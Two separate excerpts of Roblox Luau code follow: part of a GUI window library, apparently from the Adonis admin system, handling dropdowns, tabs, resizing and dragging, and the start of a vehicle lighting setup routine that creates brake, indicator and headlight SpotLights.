posValue.Value = value
slider.Position = UDim2.new(value, -10, 0.5, -10)
drag.Position = slider.Position
end
end)
end
if class == "Dropdown" then
local menu = new.Menu
local downImg = new.Down
local selected = new.dSelected
local options = data.Options
local curSelected = data.Selected or data.Selection
local onSelect = functionify(data.OnSelection or data.OnSelect or function()end)
local textProps = data.TextProperties
local scroller = create("ScrollingFrame", {
Parent = menu;
Size = UDim2.new(1, 0, 1, 0);
Position = UDim2.new(0, 0, 0, 0);
BackgroundTransparency = 1;
ZIndex = 100;
})
menu.ZIndex = scroller.ZIndex
menu.Parent = GUI
menu.Visible = false
menu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 100);
menu.BackgroundColor3 = data.BackgroundColor3 or new.BackgroundColor3
if data.TextAlignment then
selected.TextXAlignment = data.TextAlignment
selected.Position = UDim2.new(0, 30, 0, 0);
end
if data.NoArrow then
downImg.Visible = false
end
new:SetSpecial("MenuContainer", menu)
new.Changed:Connect(function(p)
if p == "AbsolutePosition" and menu.Visible then
menu.Position = UDim2.new(0, new.AbsolutePosition.X, 0, new.AbsolutePosition.Y+new.AbsoluteSize.Y)
elseif p == "AbsoluteSize" or p == "Parent" then
downImg.Size = UDim2.new(0, new.AbsoluteSize.Y, 1, 0);
if data.TextAlignment == "Right" then
downImg.Position = UDim2.new(0, 0, 0.5, -(downImg.AbsoluteSize.X/2))
selected.Position = UDim2.new(0, new.AbsoluteSize.Y, 0, 0);
else
downImg.Position = UDim2.new(1, -downImg.AbsoluteSize.X, 0.5, -(downImg.AbsoluteSize.X/2))
end
selected.Size = UDim2.new(1, -downImg.AbsoluteSize.X, 1, 0);
if options and #options <= 6 then
menu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 30*#options);
else
menu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 30*6);
scroller:ResizeCanvas(false, true);
end
end
end)
selected.ZIndex = new.ZIndex
downImg.ZIndex = new.ZIndex
if textProps then
for i,v in next,textProps do
selected[i] = v
end
end
if options then
for i,v in next,options do
local button = scroller:Add("TextButton", {
Text = " ".. tostring(v);
Size = UDim2.new(1, -10, 0, 30);
Position = UDim2.new(0, 5, 0, 30*(i-1));
ZIndex = menu.ZIndex;
BackgroundTransparency = 1;
OnClick = function()
selected.Text = v;
onSelect(v, new);
menu.Visible = false
end
})
if textProps then
for i,v in next,textProps do
button[i] = v
end
end
end
if curSelected then
selected.Text = curSelected
else
selected.Text = "No Selection"
end
selected.MouseButton1Down:Connect(function()
menu.Position = UDim2.new(0, new.AbsolutePosition.X, 0, new.AbsolutePosition.Y+new.AbsoluteSize.Y)
menu.Visible = not menu.Visible
end)
end
end
if class == "TabFrame" then
local buttons = create("ScrollingFrame", nil, new.Buttons)
local frames = new.Frames
local numTabs = 0
local buttonSize = data.ButtonSize or 60
new.BackgroundTransparency = data.BackgroundTransparency or 1
buttons.ZIndex = data.ZIndex or new.ZIndex
frames.ZIndex = buttons.ZIndex
new:SetSpecial("GetTab", function(ignore, name)
return frames:FindFirstChild(name)
end)
new:SetSpecial("NewTab", function(ignore, name, data)
local data = data or {}
--local numChildren = #frames:GetChildren()
local nextPos = getNextPos(buttons);
local textSize = service.TextService:GetTextSize(data.Text or name, dTextSize, dFont, buttons.AbsoluteSize)
local oTextTrans = data.TextTransparency
local isOpen = false
local disabled = false
local tabFrame = create("ScrollingFrame",{
Name = name;
Size = UDim2.new(1, 0, 1, 0);
Position = UDim2.new(0, 0, 0, 0);
BorderSizePixel = 0;
BackgroundTransparency = data.FrameTransparency or data.Transparency;
BackgroundColor3 = data.Color or dBackground:lerp(Color3.new(1,1,1), 0.2);
ZIndex = buttons.ZIndex;
Visible = false;
})
local tabButton = create("TextButton",{
Name = name;
Text = data.Text or name;
Size = UDim2.new(0, textSize.X+20, 1, 0);
ZIndex = buttons.ZIndex;
Position = UDim2.new(0, (nextPos.X.Offset > 0 and nextPos.X.Offset+5) or 0, 0, 0);
TextColor3 = data.TextColor;
BackgroundTransparency = 0.7;
TextTransparency = data.TextTransparency;
BackgroundColor3 = data.Color or dBackground:lerp(Color3.new(1,1,1), 0.2);
BorderSizePixel = 0;
})
tabFrame:SetSpecial("FocusTab",function()
for i,v in next,buttons:GetChildren() do if isGui(v) then v.BackgroundTransparency = 0.7 v.TextTransparency = 0.7 end end
for i,v in next,frames:GetChildren() do if isGui(v) then v.Visible = false end end
tabButton.BackgroundTransparency = data.Transparency or 0
tabButton.TextTransparency = data.TextTransparency or 0
tabFrame.Visible = true
if data.OnFocus then
data.OnFocus(true)
end
end)
if numTabs == 0 then
tabFrame.Visible = true
tabButton.BackgroundTransparency = data.Transparency or 0
end
tabButton.MouseButton1Down:Connect(function()
if not disabled then
tabFrame:FocusTab()
end
end)
tabButton.Parent = buttons
tabFrame.Parent = frames
buttons:ResizeCanvas(true, false)
tabFrame:SetSpecial("Disable", function()
disabled = true;
tabButton.BackgroundTransparency = 0.9;
tabButton.TextTransparency = 0.9
end)
tabFrame:SetSpecial("Enable", function()
disabled = false;
tabButton.BackgroundTransparency = 0.7;
tabButton.TextTransparency = data.TextTransparency or 0;
end)
numTabs = numTabs+1;
return tabFrame,tabButton
end)
end
if class == "ScrollingFrame" then
local genning = false
if not data.ScrollBarThickness then
data.ScrollBarThickness = dScrollBar
end
new:SetSpecial("GenerateList", function(obj, list, labelProperties, bottom)
local list = list or obj;
local genHold = {}
local entProps = labelProperties or {}
genning = genHold
new:ClearAllChildren()
local num = 0
for i,v in next,list do
local text = v;
local desc;
local color
local richText;
if type(v) == "table" then
text = v.Text
desc = v.Desc
color = v.Color
if v.RichTextAllowed or entProps.RichTextAllowed then
richText = true
end
end
local label = create("TextLabel",{
Text = " "..tostring(text);
ToolTip = desc;
Size = UDim2.new(1,-5,0,(entProps.ySize or 20));
Visible = true;
BackgroundTransparency = 1;
Font = "Arial";
TextSize = 14;
TextStrokeTransparency = 0.8;
TextXAlignment = "Left";
Position = UDim2.new(0,0,0,num*(entProps.ySize or 20));
RichText = richText or false;
})
if color then
label.TextColor3 = color
end
if labelProperties then
for i,v in next,entProps do
if checkProperty(label, i) then
label[i] = v
end
end
end
if genning == genHold then
label.Parent = new;
else
label:Destroy()
break
end
num = num+1
if data.Delay then
if type(data.Delay) == "number" then
wait(data.Delay)
elseif i%100 == 0 then
wait(0.1)
end
end
end
new:ResizeCanvas(false, true, false, bottom, 5, 5, 50)
genning = nil
end)
new:SetSpecial("ResizeCanvas", function(ignore, onX, onY, xMax, yMax, xPadding, yPadding, modBreak)
local xPadding,yPadding = data.xPadding or 5, data.yPadding or 5
local newY, newX = 0,0
if not onX and not onY then onX = false onY = true end
for i,v in next,new:GetChildren() do
if v:IsA("GuiObject") then
if onY then
v.Size = UDim2.new(v.Size.X.Scale, v.Size.X.Offset, 0, v.AbsoluteSize.Y)
v.Position = UDim2.new(v.Position.X.Scale, v.Position.X.Offset, 0, v.AbsolutePosition.Y-new.AbsolutePosition.Y)
end
if onX then
v.Size = UDim2.new(0, v.AbsoluteSize.X, v.Size.Y.Scale, v.Size.Y.Offset)
v.Position = UDim2.new(0, v.AbsolutePosition.X-new.AbsolutePosition.X, v.Position.Y.Scale, v.Position.Y.Offset)
end
local yLower = v.Position.Y.Offset + v.Size.Y.Offset
local xLower = v.Position.X.Offset + v.Size.X.Offset
newY = math.max(newY, yLower)
newX = math.max(newX, xLower)
if modBreak then
if i%modBreak == 0 then
wait(1/60)
end
end
end
end
if onY then
new.CanvasSize = UDim2.new(new.CanvasSize.X.Scale, new.CanvasSize.X.Offset, 0, newY+yPadding)
end
if onX then
new.CanvasSize = UDim2.new(0, newX + xPadding, new.CanvasSize.Y.Scale, new.CanvasSize.Y.Offset)
end
if xMax then
new.CanvasPosition = Vector2.new((newX + xPadding)-new.AbsoluteSize.X, new.CanvasPosition.Y)
end
if yMax then
new.CanvasPosition = Vector2.new(new.CanvasPosition.X, (newY+yPadding)-new.AbsoluteSize.Y)
end
end)
if data.List then new:GenerateList(data.List) data.List = nil end
end
LoadChildren(new, data.Content or data.Children)
data.Children = nil
data.Content = nil
for i,v in next,data do
if checkProperty(new, i) then
new[i] = v
end
end
new.Parent = parent
return apiIfy(new, data, class),data
end
function apiIfy(gui, data, class)
local newGui = service.Wrap(gui)
gui:SetSpecial("Object", gui)
gui:SetSpecial("SetPosition", function(ignore, newPos) gui.Position = newPos end)
gui:SetSpecial("SetSize", function(ingore, newSize) gui.Size = newSize end)
gui:SetSpecial("Add", function(ignore, class, data)
if not data then data = class class = ignore end
local new = create(class,data);
new.Parent = gui;
return apiIfy(new, data, class)
end)
gui:SetSpecial("Copy", function(ignore, class, gotData)
local newData = {}
local new
for i,v in next,data do
newData[i] = v
end
for i,v in next,gotData do
newData[i] = v
end
new = create(class or data.Class or gui.ClassName, newData);
new.Parent = gotData.Parent or gui.Parent;
return apiIfy(new, data, class)
end)
return newGui
end
function doClose()
if not isClosed then
isClosed = true
print(onClose)
if onClose then onClose() end
gTable:Destroy()
end
end
function isVisible()
return Main.Visible
end
local hideLabel = Hide:FindFirstChild("TextLabel")
function doHide(doHide)
local origLH = Hide.LineHeight
if doHide or (doHide == nil and Main.Visible) then
dragSize = Drag.Size
Main.Visible = false
Drag.BackgroundTransparency = Main.BackgroundTransparency
Drag.BackgroundColor3 = Main.BackgroundColor3
Drag.Size = UDim2.new(0, 200, Drag.Size.Y.Scale, Drag.Size.Y.Offset)
if hideLabel then
hideLabel.Text = "+"
else
Hide.Text = "+"
end
Hide.LineHeight = origLH
gTable.Minimized = true
elseif doHide == false or (doHide == nil and not Main.Visible) then
Main.Visible = true
Drag.BackgroundTransparency = 1
Drag.Size = dragSize or Drag.Size
if hideLabel then
hideLabel.Text = "-"
else
Hide.Text = "-"
end
Hide.LineHeight = origLH
gTable.Minimized = false
end
if onMinimize then
onMinimize(Main.Visible)
end
if Walls then
wallPosition()
end
end
function isInFrame(x, y, frame)
if x > frame.AbsolutePosition.X and x < (frame.AbsolutePosition.X+frame.AbsoluteSize.X) and y > frame.AbsolutePosition.Y and y < (frame.AbsolutePosition.Y+frame.AbsoluteSize.Y) then
return true
else
return false
end
end
function wallPosition()
if gTable.Active then
local x,y = Drag.AbsolutePosition.X, Drag.AbsolutePosition.Y
local abx, gx, gy = Drag.AbsoluteSize.X, GUI.AbsoluteSize.X, GUI.AbsoluteSize.Y
local ySize = (Main.Visible and Main.AbsoluteSize.Y) or Drag.AbsoluteSize.Y
if x < 0 then
Drag.Position = UDim2.new(0, 0, Drag.Position.Y.Scale, Drag.Position.Y.Offset)
end
if y < 0 then
Drag.Position = UDim2.new(Drag.Position.X.Scale, Drag.Position.X.Offset, 0, 0)
end
if x + abx > gx then
Drag.Position = UDim2.new(0, GUI.AbsoluteSize.X - Drag.AbsoluteSize.X, Drag.Position.Y.Scale, Drag.Position.Y.Offset)
end
if y + ySize > gy then
Drag.Position = UDim2.new(Drag.Position.X.Scale, Drag.Position.X.Offset, 0, GUI.AbsoluteSize.Y - ySize)
end
end
end
function setSize(newSize)
if newSize and type(newSize) == "table" then
if newSize[1] < 50 then newSize[1] = 50 end
if newSize[2] < 50 then newSize[2] = 50 end
Drag.Size = UDim2.new(0,newSize[1],Drag.Size.Y.Scale,Drag.Size.Y.Offset)
Main.Size = UDim2.new(1,0,0,newSize[2])
end
end
function setPosition(newPos)
if newPos and typeof(newPos) == "UDim2" then
Drag.Position = newPos
elseif newPos and type(newPos) == "table" then
Drag.Position = UDim2.new(0, newPos[1], 0, newPos[2])
elseif Size and not newPos then
Drag.Position = UDim2.new(0.5, -Drag.AbsoluteSize.X/2, 0.5, -Main.AbsoluteSize.Y/2)
end
end
if Name then
gTable.Name = Name
if data.AllowMultiple ~= nil and data.AllowMultiple == false then
local found, num = client.UI.Get(Name, GUI, true)
if found then
doClose()
return nil
end
end
end
if Size then
setSize(Size)
end
if Position then
setPosition(Position)
end
if Title then
Titlef.Text = Title
end
if CanKeepAlive or not ResetOnSpawn then
gTable.CanKeepAlive = true
GUI.ResetOnSpawn = false
elseif ResetOnSpawn then
gTable.CanKeepAlive = false
GUI.ResetOnSpawn = true
end
if Icon then
Iconf.Visible = true
Iconf.Image = Icon
end
if CanvasSize then
ScrollFrame.CanvasSize = CanvasSize
end
if noClose then
Close.Visible = false
Refresh.Position = Hide.Position
Hide.Position = Close.Position
end
if noHide then
Hide.Visible = false
Refresh.Position = Hide.Position
end
if Walls then
Drag.DragStopped:Connect(function()
wallPosition()
end)
end
if onRefresh then
local debounce = false
function DoRefresh()
if not Refreshing then
local done = false
Refreshing = true
spawn(function()
while gTable.Active and not done do
for i = 0,180,10 do
rSpinner.Rotation = -i
wait(1/60)
end
end
end)
onRefresh()
wait(1)
done = true
Refreshing = false
end
end
Refresh.MouseButton1Down:Connect(function()
if not debounce then
debounce = true
DoRefresh()
debounce = false
end
end)
Titlef.Size = UDim2.new(1, -130, Titlef.Size.Y.Scale, Titlef.Size.Y.Offset)
else
Refresh.Visible = false
end
if iconClicked then
Iconf.MouseButton1Down(function()
iconClicked(data, GUI, Iconf)
end)
end
if Menu then
data.Menu.Text = ""
data.Menu.Parent = Main
data.Menu.Size = UDim2.new(1,-10,0,25)
data.Menu.Position = UDim2.new(0,5,0,25)
ScrollFrame.Size = UDim2.new(1,-10,1,-55)
ScrollFrame.Position = UDim2.new(0,5,0,50)
data.Menu.BackgroundColor3 = Color3.fromRGB(216, 216, 216)
data.Menu.BorderSizePixel = 0
create("TextLabel",data.Menu)
end
if not SizeLocked then
local startXPos = Drag.AbsolutePosition.X
local startYPos = Drag.AbsolutePosition.Y
local startXSize = Drag.AbsoluteSize.X
local startYSize = Drag.AbsoluteSize.Y
local vars = client.Variables
local newIcon
local inFrame
local ReallyInFrame
local function readify(obj)
obj.MouseEnter:Connect(function()
ReallyInFrame = obj
end)
obj.MouseLeave:Connect(function()
if ReallyInFrame == obj then
ReallyInFrame = nil
end
end)
end
--[[
readify(Drag)
readify(ScrollFrame)
readify(TopRight)
readify(TopLeft)
readify(RightCorner)
readify(LeftCorner)
readify(RightSide)
readify(LeftSide)
readify(Bottom)
readify(Top)
--]]
function checkMouse(x, y) --// Update later to remove frame by frame pos checking
if gTable.Active and Main.Visible then
if isInFrame(x, y, Drag) or isInFrame(x, y, ScrollFrame) then
inFrame = nil
newIcon = nil
elseif isInFrame(x, y, TopRight) then
inFrame = "TopRight"
newIcon = MouseIcons.TopRight
elseif isInFrame(x, y, TopLeft) then
inFrame = "TopLeft"
newIcon = MouseIcons.TopLeft
elseif isInFrame(x, y, RightCorner) then
inFrame = "RightCorner"
newIcon = MouseIcons.RightCorner
elseif isInFrame(x, y, LeftCorner) then
inFrame = "LeftCorner"
newIcon = MouseIcons.LeftCorner
elseif isInFrame(x, y, RightSide) then
inFrame = "RightSide"
newIcon = MouseIcons.Horizontal
elseif isInFrame(x, y, LeftSide) then
inFrame = "LeftSide"
newIcon = MouseIcons.Horizontal
elseif isInFrame(x, y, Bottom) then
inFrame = "Bottom"
newIcon = MouseIcons.Vertical
elseif isInFrame(x, y, Top) then
inFrame = "Top"
newIcon = MouseIcons.Vertical
else
inFrame = nil
newIcon = nil
end
else
inFrame = nil
end
if (not client.Variables.MouseLockedBy) or client.Variables.MouseLockedBy == gTable then
if inFrame and newIcon then
Mouse.Icon = newIcon
client.Variables.MouseLockedBy = gTable
elseif client.Variables.MouseLockedBy == gTable then
Mouse.Icon = curIcon
client.Variables.MouseLockedBy = nil
end
end
end
local function inputStart(x, y)
checkMouse(x, y)
if gTable.Active and inFrame and not Resizing and not isInFrame(x, y, ScrollFrame) and not isInFrame(x, y, Drag) then
Resizing = inFrame
startXPos = Drag.AbsolutePosition.X
startYPos = Drag.AbsolutePosition.Y
startXSize = Drag.AbsoluteSize.X
startYSize = Main.AbsoluteSize.Y
end
end
local function inputEnd()
if gTable.Active then
if Resizing and onResize then
onResize(UDim2.new(Drag.Size.X.Scale, Drag.Size.X.Offset, Main.Size.Y.Scale, Main.Size.Y.Offset))
end
Resizing = nil
Mouse.Icon = curIcon
--DragEnabled = true
--if Walls then
-- wallPosition()
--end
end
end
local function inputMoved(x, y)
if gTable.Active then
if Mouse.Icon ~= MouseIcons.TopRight and Mouse.Icon ~= MouseIcons.TopLeft and Mouse.Icon ~= MouseIcons.RightCorner and Mouse.Icon ~= MouseIcons.LeftCorner and Mouse.Icon ~= MouseIcons.Horizontal and Mouse.Icon ~= MouseIcons.Vertical then
curIcon = Mouse.Icon
end
if Resizing then
local moveX = false
local moveY = false
local newPos = Drag.Position
local xPos, yPos = x, y
local newX, newY = startXSize, startYSize
--DragEnabled = false
if Resizing == "TopRight" then
newX = (xPos - startXPos) + 3
newY = (startYPos - yPos) + startYSize -1
moveY = true
elseif Resizing == "TopLeft" then
newX = (startXPos - xPos) + startXSize -1
newY = (startYPos - yPos) + startYSize -1
moveY = true
moveX = true
elseif Resizing == "RightCorner" then
newX = (xPos - startXPos) + 3
newY = (yPos - startYPos) + 3
elseif Resizing == "LeftCorner" then
newX = (startXPos - xPos) + startXSize + 3
newY = (yPos - startYPos) + 3
moveX = true
elseif Resizing == "LeftSide" then
newX = (startXPos - xPos) + startXSize + 3
newY = startYSize
moveX = true
elseif Resizing == "RightSide" then
newX = (xPos - startXPos) + 3
newY = startYSize
elseif Resizing == "Bottom" then
newX = startXSize
newY = (yPos - startYPos) + 3
elseif Resizing == "Top" then
newX = startXSize
newY = (startYPos - yPos) + startYSize - 1
moveY = true
end
if newX < MinSize[1] then newX = MinSize[1] end
if newY < MinSize[2] then newY = MinSize[2] end
if newX > MaxSize[1] then newX = MaxSize[1] end
if newY > MaxSize[2] then newY = MaxSize[2] end
if moveX then
newPos = UDim2.new(0, (startXPos+startXSize)-newX, newPos.Y.Scale, newPos.Y.Offset)
end
if moveY then
newPos = UDim2.new(newPos.X.Scale, newPos.X.Offset, 0, (startYPos+startYSize)-newY)
end
Drag.Position = newPos
Drag.Size = UDim2.new(0, newX, Drag.Size.Y.Scale, Drag.Size.Y.Offset)
Main.Size = UDim2.new(Main.Size.X.Scale, Main.Size.X.Offset, 0, newY)
if not Titlef.TextFits then
Titlef.Visible = false
else
Titlef.Visible = true
end
else
checkMouse(x, y)
end
end
end
Event(InputService.InputBegan, function(input, gameHandled)
if not gameHandled and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
inputStart(Mouse.X, Mouse.Y)
end
end)
Event(InputService.InputChanged, function(input, gameHandled)
if input.UserInputType == Enum.UserInputType.MouseMovement or Enum.UserInputType.Touch then
inputMoved(input.Position.X, input.Position.Y)
end
end)
Event(InputService.InputEnded, function(input, gameHandled)
if input.UserInputType == Enum.UserInputType.MouseButton1 or Enum.UserInputType.Touch then
inputEnd()
end
end)
--[[Event(Mouse.Button1Down, function()
if gTable.Active and inFrame and not Resizing and not isInFrame(Mouse.X, Mouse.Y, ScrollFrame) and not isInFrame(Mouse.X, Mouse.Y, Drag) then
Resizing = inFrame
startXPos = Drag.AbsolutePosition.X
startYPos = Drag.AbsolutePosition.Y
startXSize = Drag.AbsoluteSize.X
startYSize = Main.AbsoluteSize.Y
checkMouse()
end
end)
Event(Mouse.Button1Up, function()
if gTable.Active then
if Resizing and onResize then
onResize(UDim2.new(Drag.Size.X.Scale, Drag.Size.X.Offset, Main.Size.Y.Scale, Main.Size.Y.Offset))
end
Resizing = nil
Mouse.Icon = curIcon
--if Walls then
-- wallPosition()
--end
end
end)--]]
else
LeftSizeIcon.Visible = false
RightSizeIcon.Visible = false
end
Close.MouseButton1Down:Connect(doClose)
Hide.MouseButton1Down:Connect(function() doHide() end)
gTable.CustomDestroy = function()
service.UnWrap(GUI):Destroy()
if client.Variables.MouseLockedBy == gTable then
Mouse.Icon = curIcon
client.Variables.MouseLockedBy = nil
end
if not isClosed then
isClosed = true
if onClose then
onClose()
end
end
end
for i,child in next,GUI:GetChildren() do
if child.Name ~= "Desc" and child.Name ~= "Drag" then
specialInsts[child.Name] = child
child.Parent = nil
end
end
--// Drag & DisplayOrder Handler
do
local windowValue = Instance.new("BoolValue", GUI)
local dragDragging = false
local dragOffset
local inFrame
windowValue.Name = "__ADONIS_WINDOW"
Event(Main.InputBegan, function(input)
if gTable.Active and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
BringToFront()
end
end)
Event(Drag.InputBegan, function(input)
if gTable.Active then
inFrame = true
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
BringToFront()
end
end
end)
Event(Drag.InputChanged, function(input)
if gTable.Active then
inFrame = true
end
end)
Event(Drag.InputEnded, function(input)
inFrame = false
end)
Event(InputService.InputBegan, function(input)
if inFrame and GUI.DisplayOrder == 101 and not dragDragging and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then--isInFrame(input.Position.X, input.Position.Y, object) then
dragDragging = true
BringToFront()
dragOffset = Vector2.new(Drag.AbsolutePosition.X - input.Position.X, Drag.AbsolutePosition.Y - input.Position.Y)
end
end)
Event(InputService.InputChanged, function(input)
if dragDragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then
Drag.Position = UDim2.new(0, dragOffset.X + input.Position.X, 0, dragOffset.Y + input.Position.Y)
end
end)
Event(InputService.InputEnded, function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragDragging = false
end
end)
end
--// Finishing up
local api = apiIfy(ScrollFrame, data)
local meta = api:GetMetatable()
local oldNewIndex = meta.__newindex
local oldIndex = meta.__index
create("ScrollingFrame", nil, ScrollFrame)
LoadChildren(api, Content)
api:SetSpecial("gTable", gTable)
api:SetSpecial("Window", GUI)
api:SetSpecial("Main", Main)
api:SetSpecial("Title", Titlef)
api:SetSpecial("Dragger", Drag)
api:SetSpecial("Destroy", doClose)
api:SetSpecial("Close", doClose)
api:SetSpecial("Object", ScrollFrame)
api:SetSpecial("Refresh", DoRefresh)
api:SetSpecial("AddTitleButton", function(ignore, data) if type(ignore) == "table" and not data then data = ignore end return addTitleButton(data) end)
api:SetSpecial("Ready", function() if onReady then onReady() end gTable.Ready() BringToFront() end)
api:SetSpecial("BindEvent", function(ignore, ...) Event(...) end)
api:SetSpecial("Hide", function(ignore, hide) doHide(hide) end)
api:SetSpecial("SetTitle", function(ignore, newTitle) Titlef.Text = newTitle end)
api:SetSpecial("SetPosition", function(ignore, newPos) setPosition(newPos) end)
api:SetSpecial("SetSize", function(ignore, newSize) setSize(newSize) end)
api:SetSpecial("GetPosition", function() return Drag.AbsolutePosition end)
api:SetSpecial("GetSize", function() return Main.AbsoluteSize end)
api:SetSpecial("IsVisible", isVisible)
api:SetSpecial("IsClosed", isClosed)
meta.__index = function(tab, ind)
if ind == "IsVisible" then
return isVisible()
elseif ind == "Closed" then
return isClosed
else
return oldIndex(tab, ind)
end
end
setSize(Size)
setPosition(Position)
if Ready then
gTable:Ready()
BringToFront()
end
return api,GUI
end
|
-- server side setup |
local Pcolors = {{255, 255, 255}, {255, 180, 161}, {226, 220, 188}}
local Lcolors = {{184, 191, 191}, {184, 191, 191}, {184, 191, 191}}
local INDcolor = {255, 152, 92}
local plactive = false
local prevChild
F.Setup = function(light_type, popups, tb, fog_color)
event.IndicatorsAfterLeave.Disabled = true
for idx, child in pairs(lights.Brake:GetChildren()) do
if child.Name == "L" and #child:GetChildren() < 1 then
local spot = Instance.new("SpotLight", child)
spot.Name = "L"
spot.Brightness = 0
spot.Range = 0
spot.Face = Enum.NormalId.Back
spot.Color = Color3.fromRGB(254, 29, 44)
spot.Shadows = true
elseif child.Name == "LN" then
if child:IsA("MeshPart") then
child.TextureID = ""
end
child.Material = Enum.Material.Neon
child.Color = Color3.fromRGB(254, 29, 44)
child.Transparency = 1
end
end
for idx, child in pairs(lights.Rear:GetChildren()) do
if child.Name == "L" and #child:GetChildren() < 1 then
local spot = Instance.new("SpotLight", child)
spot.Name = "L"
spot.Brightness = 0
spot.Range = 0
spot.Face = Enum.NormalId.Back
spot.Color = Color3.fromRGB(255, 62, 65)
spot.Shadows = true
elseif child.Name == "LN" then
if child:IsA("MeshPart") then
child.TextureID = ""
end
child.Material = Enum.Material.Neon
child.Color = Color3.fromRGB(255, 62, 65)
child.Transparency = 1
end
end
for idx, child in pairs(lights.Reverse:GetChildren()) do
if child.Name == "L" and #child:GetChildren() < 1 then
local spot = Instance.new("SpotLight", child)
spot.Name = "L"
spot.Brightness = 0
spot.Range = 0
spot.Face = Enum.NormalId.Back
spot.Color = Color3.fromRGB(255, 255, 255)
spot.Shadows = true
elseif child.Name == "LN" then
if child:IsA("MeshPart") then
child.TextureID = ""
end
child.Material = Enum.Material.Neon
child.Color = Color3.fromRGB(255, 255, 255)
child.Transparency = 1
end
end
for idx, child in pairs(lights.LeftInd:GetDescendants()) do
if child.Name == "L" and child.Parent.Name == "Front" and #child:GetChildren() < 1 then
local spot = Instance.new("SpotLight", child)
spot.Name = "L"
spot.Brightness = 0
spot.Range = 0
spot.Face = Enum.NormalId.Front
spot.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3])
spot.Shadows = true
elseif child.Name == "L" and child.Parent.Name == "Rear" and #child:GetChildren() < 1 then
local spot = Instance.new("SpotLight", child)
spot.Name = "L"
spot.Brightness = 0
spot.Range = 0
spot.Face = Enum.NormalId.Back
spot.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3])
spot.Shadows = true
elseif child.Name == "L" and child.Parent.Name == "Side" and #child:GetChildren() < 1 then
local spot = Instance.new("SpotLight", child)
spot.Name = "L"
spot.Brightness = 0
spot.Range = 0
spot.Face = Enum.NormalId.Left
spot.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3])
spot.Shadows = true
elseif child.Name == "LN" then
if child:IsA("MeshPart") then
child.TextureID = ""
end
child.Material = Enum.Material.Neon
child.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3])
child.Transparency = 1
elseif string.sub(child.Name, 1, 2) == "SI" then
if child:IsA("MeshPart") then
child.TextureID = ""
end
child.Material = Enum.Material.Neon
child.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3])
child.Transparency = 1
end
end
for idx, child in pairs(lights.RightInd:GetDescendants()) do
if child.Name == "L" and child.Parent.Name == "Front" and #child:GetChildren() < 1 then
local spot = Instance.new("SpotLight", child)
spot.Name = "L"
spot.Brightness = 0
spot.Range = 0
spot.Face = Enum.NormalId.Front
spot.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3])
spot.Shadows = true
elseif child.Name == "L" and child.Parent.Name == "Rear" and #child:GetChildren() < 1 then
local spot = Instance.new("SpotLight", child)
spot.Name = "L"
spot.Brightness = 0
spot.Range = 0
spot.Face = Enum.NormalId.Back
spot.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3])
spot.Shadows = true
elseif child.Name == "L" and child.Parent.Name == "Side" and #child:GetChildren() < 1 then
local spot = Instance.new("SpotLight", child)
spot.Name = "L"
spot.Brightness = 0
spot.Range = 0
spot.Face = Enum.NormalId.Right
spot.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3])
spot.Shadows = true
elseif child.Name == "LN" then
if child:IsA("MeshPart") then
child.TextureID = ""
end
child.Material = Enum.Material.Neon
child.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3])
child.Transparency = 1
elseif string.sub(child.Name, 1, 2) == "SI" then
if child:IsA("MeshPart") then
child.TextureID = ""
end
child.Material = Enum.Material.Neon
child.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3])
child.Transparency = 1
end
end
for idx, child in pairs(tb) do
child.ImageTransparency = 1
end
if not popups then
if light_type == "Pure White" then
for idx, child in pairs(lights.Headlights:GetDescendants()) do
if child.Name == "L" and #child:GetChildren() < 1 then
local spot = Instance.new("SpotLight", child)
spot.Name = "L"
spot.Brightness = 0
spot.Range = 0
spot.Face = Enum.NormalId.Front
spot.Color = Color3.fromRGB(Lcolors[1][1], Lcolors[1][2], Lcolors[1][3])
spot.Shadows = true
elseif child.Name == "LN" then
if child:IsA("MeshPart") then
child.TextureID = ""
end
child.Material = Enum.Material.Neon
child.Color = Color3.fromRGB(Pcolors[1][1], Pcolors[1][2], Pcolors[1][3])
child.Transparency = 1
end
end
elseif light_type == "OEM White" then
for idx, child in pairs(lights.Headlights:GetDescendants()) do
if child.Name == "L" and #child:GetChildren() < 1 then
local spot = Instance.new("SpotLight", child)
spot.Name = "L"
spot.Brightness = 0
spot.Range = 0
spot.Face = Enum.NormalId.Front
spot.Color = Color3.fromRGB(Lcolors[2][1], Lcolors[2][2], Lcolors[2][3])
spot.Shadows = true
elseif child.Name == "LN" then
if child:IsA("MeshPart") then
child.TextureID = ""
end
child.Material = Enum.Material.Neon
child.Color = Color3.fromRGB(Pcolors[2][1], Pcolors[2][2], Pcolors[2][3])
child.Transparency = 1
end
end
elseif light_type == "Xenon" then
for idx, child in pairs(lights.Headlights:GetDescendants()) do
if child.Name == "L" and #child:GetChildren() < 1 then
local spot = Instance.new("SpotLight", child)
spot.Name = "L"
spot.Brightness = 0
spot.Range = 0
spot.Face = Enum.NormalId.Front
spot.Color = Color3.fromRGB(Lcolors[3][1], Lcolors[3][2], Lcolors[3][3])
spot.Shadows = true
elseif child.Name == "LN" then
if child:IsA("MeshPart") then
child.TextureID = ""
end
child.Material = Enum.Material.Neon
child.Color = Color3.fromRGB(Pcolors[3][1], Pcolors[3][2], Pcolors[3][3])
child.Transparency = 1
end
end
end
else
if light_type == "Pure White" then
